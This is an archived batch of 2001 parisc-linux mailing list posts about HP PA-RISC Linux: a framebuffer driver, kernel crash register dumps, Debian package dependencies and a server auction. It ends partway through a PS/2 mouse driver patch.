Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620110 19251 80.91.229.3 (22 Nov 2014 01:35:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Andi <andi@fischlustig.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  9 16:08:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id A5D39482A
	for <parisc-linux@parisc-linux.org>; Wed,  9 May 2001 16:08:14 -0600 (MDT)
Original-Received: (qmail 15896 invoked by uid 0); 9 May 2001 22:08:12 -0000
Original-Received: from pd9040279.dip.t-dialin.net (HELO there) (217.4.2.121)
  by mail.gmx.net (mp006-rz3) with SMTP; 9 May 2001 22:08:12 -0000
X-Mailer: KMail [version 1.2.2]
In-Reply-To: <3AF9B9F5.AC56BF11@fischlustig.de>
Xref: news.gmane.org gmane.linux.ports.parisc:11021

On Wednesday 09 May 2001 23:43, Andi wrote:
> Helge Deller wrote:
> > Hi,
> >
> > I had hacked up a stifb driver for my 715/64 (Artist GFX card) a few
> > weeks ago, which will give you at least correct colors. If you want to
> > test it you may download the current (unfinished and ugly!) version from
> > ftp://people.redhat.com/hdeller/parisc_stifb ,
>
> it works for me. colors are nice again. Why isnt your patch merged in?
>
> I added
> disp->scrollmode = SCROLL_YREDRAW;
> at the end of sti_set_disp() in stifb.c
>
> this makes scrolling A LOT faster.
>
> Andreas

Hi Andreas,

the reasons why I haven't checked it in yet are:
1. currently it's an ugly hack,
2. it's still a hack,
3. it only supports artist gfx's (some 712/xxx and 715/xxx machines) atm,
4. I would like to test it more and clean up the sources before I commit it.

Thanks for the SCROLL_YREDRAW patch. I will upload the updated version to the 
above ftp-site as soon as I have tested it.

Greetings,
Helge




From - Thu Nov 08 21:17:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Auction - K200 + tape drive (Wisconsin USA)
Followup-To: gmane.linux.ports.hppa
Date: Thu, 10 May 2001 08:42:40 +0800
Lines: 28
Approved: news@gmane.org
Message-ID: <20010510084238.M28032@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620110 19259 80.91.229.3 (22 Nov 2014 01:35:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:10 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  9 18:43:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-01.iinet.net.au [203.59.24.16])
	by dsl2.external.hp.com (Postfix) with SMTP id B4548482A
	for <parisc-linux@parisc-linux.org>; Wed,  9 May 2001 18:43:06 -0600 (MDT)
Original-Received: (qmail 29461 invoked by uid 666); 10 May 2001 00:42:53 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.103.207)
  by mail.iinet.net.au with SMTP; 10 May 2001 00:42:53 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id IAA03510;
	Thu, 10 May 2001 08:42:45 +0800
Mail-Followup-To: Linux/HPPA List <parisc-linux@parisc-linux.org>,
	debian-hppa@lists.debian.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11022

A nice chap passed this on to me, but unfortunately the server is in
Wisconsin and I'm on the other side of the planet.  And I'll get in
trouble if I buy it.  ;)

HP9000 K200 SMP server, 2 x 100MHz CPUs, 768MB RAM, unknown disk
(presumably a couple of "small" internal SCSI drives).  Comes with
Philips Tape Drive (don't know what this thing is, DDS3 perhaps?).  The
photo features an HP rack but there's no mention of that  being included
with the server (unfortunately).

  http://www.bid4assets.com/auction/?auctionID=27258&EID=2345894

Current bid is US$150 (state tax of 5.5% will go on top), auction closes
May 22nd 2001, and I hope some kind hppa-linux hacker can give this old
box a home.  =)  

Andrew.

P.S.  It'd probably make a great hppa autobuilder box for Debian?

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:17:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] exim crash
Date: Thu, 10 May 2001 11:37:57 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20010510113757.C1840@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620110 19261 80.91.229.3 (22 Nov 2014 01:35:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 10 04:38:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc171-bre9.cable.ntl.com [213.105.88.171])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8CAE482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 May 2001 04:38:43 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 05DB7B007; Thu, 10 May 2001 11:37:58 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:11023

Hi,
  Just grabbed exim_3.22-4_hppa.deb from the debian archive, and got
the following crash on installing/configuring it.  exim_3.22-2_hppa.deb
from pehc is ok.  I was able to reproduce the crash by trying to send
mail with 'mail' (same iaoq value, at least).

Richard


slab login: !!die_if_kernel: exim(18725): Unaligned data reference 28

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001111
r0-3     0000000000000000 000000000009a950 00000000000461d3 000000000009f010
r4-7     000000000009f01d 00000000000a0550 0000000000000013 000000000007db64
r8-11    0000000000097950 00000000000996b0 00000000000a0550 00000000000000b8
r12-15   0000000000000020 000000000009b150 00000000000988bc 0000000000079ee0
r16-19   0000000000000028 0000000000097828 0000000000000002 0000000000097828
r20-23   000000000000003a 000000004027e470 000000000009abaa 000000000000003a
r24-27   0000000000079800 000000000000003f 00000000000a0550 0000000000097150
r28-31   000000000009f01c 00000000faf00c48 00000000faf00d00 00000000000461d3
sr0-3    00000000000ce400 00000000000ce400 0000000000000000 00000000000ce400
sr4-7    00000000000ce400 00000000000ce400 00000000000ce400 00000000000ce400

IASQ: 00000000000ce400 00000000000ce400 IAOQ: 00000000000314bf 00000000000314c3
 IIR: 4835016e    ISR: 00000000000ce400  IOR: 000000000009aa07
ORIG_R28: 0000000000000000







From - Thu Nov 08 21:17:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] nsgmls crash
Date: Thu, 10 May 2001 11:43:37 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20010510114337.D1840@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620111 19269 80.91.229.3 (22 Nov 2014 01:35:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 10 04:44:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc171-bre9.cable.ntl.com [213.105.88.171])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58E22482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 May 2001 04:44:19 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 23FC6B007; Thu, 10 May 2001 11:43:37 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:11024

Hi,
  Trying to build the boot-floppies, I get a repeatable crash here:

slab:~# !!die_if_kernel: nsgmls(21734): Unaligned data reference 28

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     0000000000000000 0000000000035880 000000000001f717 00000000faf00740
r4-7     0000000000033080 0000000000036342 0000000000036002 0000000000000004
r8-11    00000000000362d2 00000000000adc10 00000000000af390 00000000000b01d0
r12-15   0000000000000000 00000000ffffffff 00000000000a8ed0 0000000000000000
r16-19   0000000000000000 0000000000000000 0000000000000000 000000000001f5d4
r20-23   00000000402b0710 0000000040265970 000000000001f5d4 0000000000000000
r24-27   0000000040265970 00000000402af588 0000000040265980 0000000000033080
r28-31   0000000000000000 000000000003da00 00000000faf007c0 000000000001f717
sr0-3    000000000027e100 000000000027e100 0000000000000000 000000000027e100
sr4-7    000000000027e100 000000000027e100 000000000027e100 000000000027e100

IASQ: 000000000027e100 000000000027e100 IAOQ: 000000000001f6c7 000000000001f6cb
 IIR: 4835090e    ISR: 000000000027e100  IOR: 0000000000035d07
ORIG_R28: 0000000000000001

luckily all the useful bits have been built before this point.
I wasn't getting this a couple of days ago, I'm keeping my system
pretty much up to date with the debian archive, and don't know what
upgrade introduced this problem.

Richard





From - Thu Nov 08 21:17:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Charlie Navarro <charlie_navarro@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with debian instalation
Date: Thu, 10 May 2001 09:53:02 -0300
Lines: 28
Approved: news@gmane.org
Message-ID: <01051009530200.01761@diana>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620111 19273 80.91.229.3 (22 Nov 2014 01:35:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:11 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 10 06:58:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.xaire.com (unknown [200.47.131.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33E9C482A
	for <parisc-linux@parisc-linux.org>; Thu, 10 May 2001 06:58:28 -0600 (MDT)
Original-Received: from diana (agencia.cordoba.xaire.com [200.47.58.235])
	by mail.xaire.com (Postfix) with SMTP id 516734231
	for <parisc-linux@parisc-linux.org>; Thu, 10 May 2001 09:35:21 +0000 (GMT)
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11025

Hello,

first, I want to send a big congratulation to the people that works porting 
Linux to my HP 712/60. If I said: it a good job!!!!, they are a small words. 
The english does not my mother lenguaje.

Ok, I have a question.

I installed my 712/60 from palinux-0.6-32STI.iso and all OK. I had some 
poblems with the keyboard (some sequence of key in vi, in some case fell down 
the system) btw my problem is the debian dependences.

I made a "apt-get dselect-upgrade" with out problems, with the original 
sources.list that it came in the iso.
Now I have the dependences problems to install gcc. cpp depends of cpp-3.0 
but it is not installable. xbase-clients depends of cpp.

Ok, I want to run X, but I can not. I want to compile X but I don't have the 
gcc. I know the step to make a compiler, 
http://mkhppa1.esiee.fr/en/compile.html is easy to follow. 
Are another site to download the deb, and the correct dependences?

Thank in advance

Charlie




From - Thu Nov 08 21:17:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with debian instalation
Date: Thu, 10 May 2001 14:59:32 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010510145932.E1840@linuxcare.com>
References: <01051009530200.01761@diana>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620111 19274 80.91.229.3 (22 Nov 2014 01:35:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:11 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Charlie Navarro <charlie_navarro@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 10 08:00:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc171-bre9.cable.ntl.com [213.105.88.171])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4085482A
	for <parisc-linux@parisc-linux.org>; Thu, 10 May 2001 08:00:14 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 4AFBDB007; Thu, 10 May 2001 14:59:32 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <01051009530200.01761@diana>; from charlie_navarro@yahoo.com on Thu, May 10, 2001 at 09:53:02AM -0300
Xref: news.gmane.org gmane.linux.ports.parisc:11026

On Thu, May 10, 2001 at 09:53:02AM -0300, Charlie Navarro wrote:
> Are another site to download the deb, and the correct dependences?

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/debs
ftp://puffin.external.hp.com/pub/parisc/binaries/debian/newcompilers-20010326
ftp://puffin.external.hp.com/pub/parisc/binaries/debian/newlibc-20010425

Richard





From - Thu Nov 08 21:17:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Auction - K200 + tape drive (Wisconsin USA)
Date: Thu, 10 May 2001 11:01:42 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <200105101701.LAA25464@puffin.external.hp.com>
References: <20010510161304.B28032@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620112 19277 80.91.229.3 (22 Nov 2014 01:35:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 10 11:09:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A43E7482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 May 2001 11:09:06 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA25464;
	Thu, 10 May 2001 11:01:42 -0600
In-Reply-To: Your message of "Thu, 10 May 2001 16:13:06 +0800."
             <20010510161304.B28032@neep.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:11027

Andrew Shugg wrote:
...
> > iirc, K200 is similar to the C100/C110 but mostly with HP-PB
> > and some GSC "slots" . GSC "slots" are for "3x5" form factor
> > (3 by 5 inches) and not the EISA-formfactor in the workstations.
> 
> So ... meaning hard to get bits for?  Or requires different drivers
> which haven't been written in linux-hppa?

HPPB requires different drivers. Main problem for EFGHI-class servers.

GSC drivers are the same regardless of form factor.
At first I thought it would be harder to find 3x5 add-on cards.
But I'm not sure about it or if those cards are more expensive.

> > Probably not for debian autobuilder. We are setting up newer
> > machines as autobuilder.  Maybe interesting for someone with
> > 19" rack and plenty of floor space.
> 
> Well I might be alone in wanting to collect lonely old boxes then.  ;P

Definitely not. There's a pdp11 group here in silicon valley who
keep these boxes running in thier garages... I'm not joking.

And the k200 is actually a useful box if one has the power/space for it. 
(Has remote console for example)

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with debian instalation
Date: Thu, 10 May 2001 11:36:58 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20010510173658.12FB237CFD@carmen.fc.hp.com>
References: <01051009530200.01761@diana>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620112 19278 80.91.229.3 (22 Nov 2014 01:35:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Charlie Navarro <charlie_navarro@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 10 11:34:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 499FD482A
	for <parisc-linux@parisc-linux.org>; Thu, 10 May 2001 11:34:21 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 58EA1CC0; Thu, 10 May 2001 13:34:20 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 12FB237CFD; Thu, 10 May 2001 11:36:58 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Charlie Navarro <charlie_navarro@yahoo.com> 
   of "Thu, 10 May 2001 09:53:02 -0300." <01051009530200.01761@diana> 
Xref: news.gmane.org gmane.linux.ports.parisc:11028

Charlie Navarro writes...

> I installed my 712/60 from palinux-0.6-32STI.iso and all OK. I had some 
> poblems with the keyboard (some sequence of key in vi, in some case fell down
> the system)

This is a known problem with STI console, but no bug was filed in the BTS. So 
I just filed one. IIRC, setting TERM to vt100 helps.

> I made a "apt-get dselect-upgrade" with out problems, with the original 
> sources.list that it came in the iso.
> Now I have the dependences problems to install gcc. cpp depends of cpp-3.0 
> but it is not installable. xbase-clients depends of cpp.

The gcc package is just a pseudopackage that depends on the right version gcc 
for the architecture, in this case gcc-3.0. Since gcc-3.0 is not yet in the 
archive it can't find the dependency. As Richard pointed out, use the debs on 
puffin.external.hp.com for now. I am working on getting those integrated and 
in the Debian archive.

> Ok, I want to run X, but I can not. I want to compile X but I don't have the 
> gcc.

XFree86 is in the Debian archive but you can't run a local Xserver yet. You 
can run apps remotely and even use Xnest. Does this answer your question?

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Auction - K200 + tape drive (Wisconsin USA)
Date: Thu, 10 May 2001 11:14:12 -0700 (PDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <200105101814.LAA13448@opus.allegro.com>
References: <200105101701.LAA25464@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620112 19279 80.91.229.3 (22 Nov 2014 01:35:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:12 +0000 (UTC)
Cc: andrew@neep.com.au (Andrew Shugg),
	parisc-linux@lists.parisc-linux.org
To: grundler@puffin.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 10 12:14:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76AB4482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 May 2001 12:14:24 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id LAA13448;
	Thu, 10 May 2001 11:14:12 -0700
In-Reply-To: <200105101701.LAA25464@puffin.external.hp.com> from "Grant Grundler" at May 10, 2001 11:01:42 AM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:11029

Re:

> > Well I might be alone in wanting to collect lonely old boxes then.  ;P
> 
> Definitely not. There's a pdp11 group here in silicon valley who
> keep these boxes running in thier garages... I'm not joking.

People interested in collecting antique computers might want to check
out the Classic Computer mailing list & archives.

   To subscribe to the Classic Computer mailing list, send a mail message 
   to: majordomo@classiccmp.org

   with the body of the message being:
      subscribe classiccmp youraddress@yourdomain

   To post a message to it, send to:
      classiccmp@classiccmp.org

   Classic Computer mailing list archives:
      http://www.classiccmp.org

In the S.F. Bay Area, we have the Bay Area Computer Collectors' List.
...email me for subscription particulars.


Stan (sitting next to the IMSAI 8080 and IBM 5110 in my office) Sieler




From - Thu Nov 08 21:17:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PS2 Mouse support
Date: Fri, 11 May 2001 03:25:07 +0200
Lines: 627
Approved: news@gmane.org
Message-ID: <3AFB3F73.80405809@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------FE55E5BB576DF120F532BB7E"
X-Trace: ger.gmane.org 1416620113 19282 80.91.229.3 (22 Nov 2014 01:35:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:13 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 10 19:17:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12D62482A
	for <parisc-linux@parisc-linux.org>; Thu, 10 May 2001 19:17:55 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id 14214D15AC
	for <parisc-linux@parisc-linux.org>; Fri, 11 May 2001 03:17:13 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11030

This is a multi-part message in MIME format.
--------------FE55E5BB576DF120F532BB7E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,

	I finally released my patch in order to get the PS2 mouse support. It
is working with GPM if you run STI-console with the Deller's frambuffer
available at ftp://people.redhat.com/hdeller/parisc_stifb

	This patch can be downloaded from our website
http://www.esiee.fr/puffin

Feedback is always appreciated, Thomas
ESIEE Team

PS: If someone want to commit it, please do!
--------------FE55E5BB576DF120F532BB7E
Content-Type: text/plain; charset=us-ascii;
 name="mouse.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="mouse.patch"

diff -Nru linuxbf/drivers/char/hp_keyb.h linux/drivers/char/hp_keyb.h
--- linuxbf/drivers/char/hp_keyb.h	Thu Jan  1 01:00:00 1970
+++ linux/drivers/char/hp_keyb.h	Fri May 11 02:10:41 2001
@@ -0,0 +1,60 @@
+/*  
+ *    LASI PS/2 keyboard/psaux header for HP-PARISC workstations
+ *
+ *    Copyright 2001    Marteau Thomas <marteaut@esiee.fr>
+ *
+ *    This file contains all the data needed by hp_keyb.c and hp_psaux.c
+ *
+ *    2001/05/10       Try to compact the code in the two files
+ *                  
+ */
+
+/* These defines are not used! */
+#define KBD_ECHO	0xEE		/* in/out */
+#define KBD_DEFAULT	0xF6		/* out */
+#define KBD_DIAGFAIL	0xFD		/* in */
+
+/* Only in hp_keyb.c */
+#define KBD_BREAK	0xF0		/* in */
+
+/* Standard mouse behaviour parameters */
+
+#define AUX_REPLY_ACK   0xFA            /* Command byte ACK. */
+#define AUX_RECONNECT   0xAA            /* scancode when ps2 device is plugged (back) in */
+
+/* PA-RISC define */
+#define LASI_OFFSET     0x0100
+
+#define	LASI_ID		0x00
+#define LASI_RESET	0x00
+#define LASI_RCVDATA	0x04
+#define LASI_XMTDATA	0x04
+#define LASI_CONTROL	0x08
+#define LASI_STATUS	0x0C
+
+/* Control register bits */
+
+#define LASI_CTRL_ENBL		0x01	/* enable interface */
+#define LASI_CTRL_LPBXR		0x02	/* loopback operation */
+#define LASI_CTRL_DIAG		0x20	/* directly control clock/data line */
+#define	LASI_CTRL_DATDIR	0x40	/* data line direct control */
+#define	LASI_CTRL_CLKDIR	0x80	/* clock line direct control */
+
+/* Status register bits */
+
+#define LASI_STAT_RBNE		0x01
+#define LASI_STAT_TBNE		0x02
+#define LASI_STAT_TERR		0x04
+#define LASI_STAT_PERR		0x08
+#define LASI_STAT_CMPINTR	0x10
+#define LASI_STAT_DATSHD	0x40
+#define LASI_STAT_CLKSHD	0x80
+
+
+
+
+
+
+
+
+
diff -Nru linuxbf/drivers/char/hp_psaux.c linux/drivers/char/hp_psaux.c
--- linuxbf/drivers/char/hp_psaux.c	Fri May 11 02:09:08 2001
+++ linux/drivers/char/hp_psaux.c	Fri May 11 02:10:41 2001
@@ -9,7 +9,9 @@
  *			Marteau Thomas (marteaut@esiee.fr)
  * 			Djoudi Malek (djoudim@esiee.fr)
  *	fixed leds control
+ *      implemented the psaux and controlled the mouse scancode
  */
+#include <linux/config.h>
 
 #include <asm/hardware.h>
 #include <asm/keyboard.h>
@@ -17,58 +19,40 @@
 
 #include <linux/types.h>
 #include <linux/ptrace.h>	/* interrupt.h wants struct pt_regs defined */
+#include <linux/interrupt.h>
 #include <linux/sched.h>	/* for request_irq/free_irq */
 #include <linux/ioport.h>
 #include <linux/kernel.h>
-#include <linux/interrupt.h>
 #include <linux/wait.h>
+#include <linux/delay.h>
 #include <linux/errno.h>
 #include <linux/init.h>
 #include <linux/pc_keyb.h>
 #include <linux/kbd_kern.h>
 
+/* mouse include */
+#include <linux/miscdevice.h>
+#include <linux/malloc.h>
+#include <linux/random.h>
+#include <linux/spinlock.h>
+#include <linux/smp_lock.h>
+#include <asm/uaccess.h>
+#include <linux/poll.h>
+
+/* HP include */
+#include "hp_keyb.h"
 
 static struct hp_device *lasi_psaux_keyb;
 static void *lasikbd_hpa;
+static void *lasips2_hpa;
 
-
-#define KBD_BAT		0xaa		/* in */
-#define KBD_SETLEDS	0xed		/* out */
-#define KBD_ECHO	0xee		/* in/out */
-#define KBD_BREAK	0xf0		/* in */
-#define KBD_TYPRATEDLY	0xf3		/* out */
-#define KBD_SCANENABLE	0xf4		/* out */
-#define KBD_DEFDISABLE	0xf5		/* out */
-#define KBD_DEFAULT	0xf6		/* out */
-#define KBD_ACK		0xfa		/* in */
-#define KBD_DIAGFAIL	0xfd		/* in */
-#define KBD_RESEND	0xfe		/* in/out */
-#define KBD_RESET	0xff		/* out */
-
-#define	LASI_ID		0x00
-#define LASI_RESET	0x00
-#define LASI_RCVDATA	0x04
-#define LASI_XMTDATA	0x04
-#define LASI_CONTROL	0x08
-#define LASI_STATUS	0x0c
-
-/* Control register bits */
-
-#define LASI_CTRL_ENBL		0x01	/* enable interface */
-#define LASI_CTRL_LPBXR		0x02	/* loopback operation */
-#define LASI_CTRL_DIAG		0x20	/* directly control clock/data line */
-#define	LASI_CTRL_DATDIR	0x40	/* data line direct control */
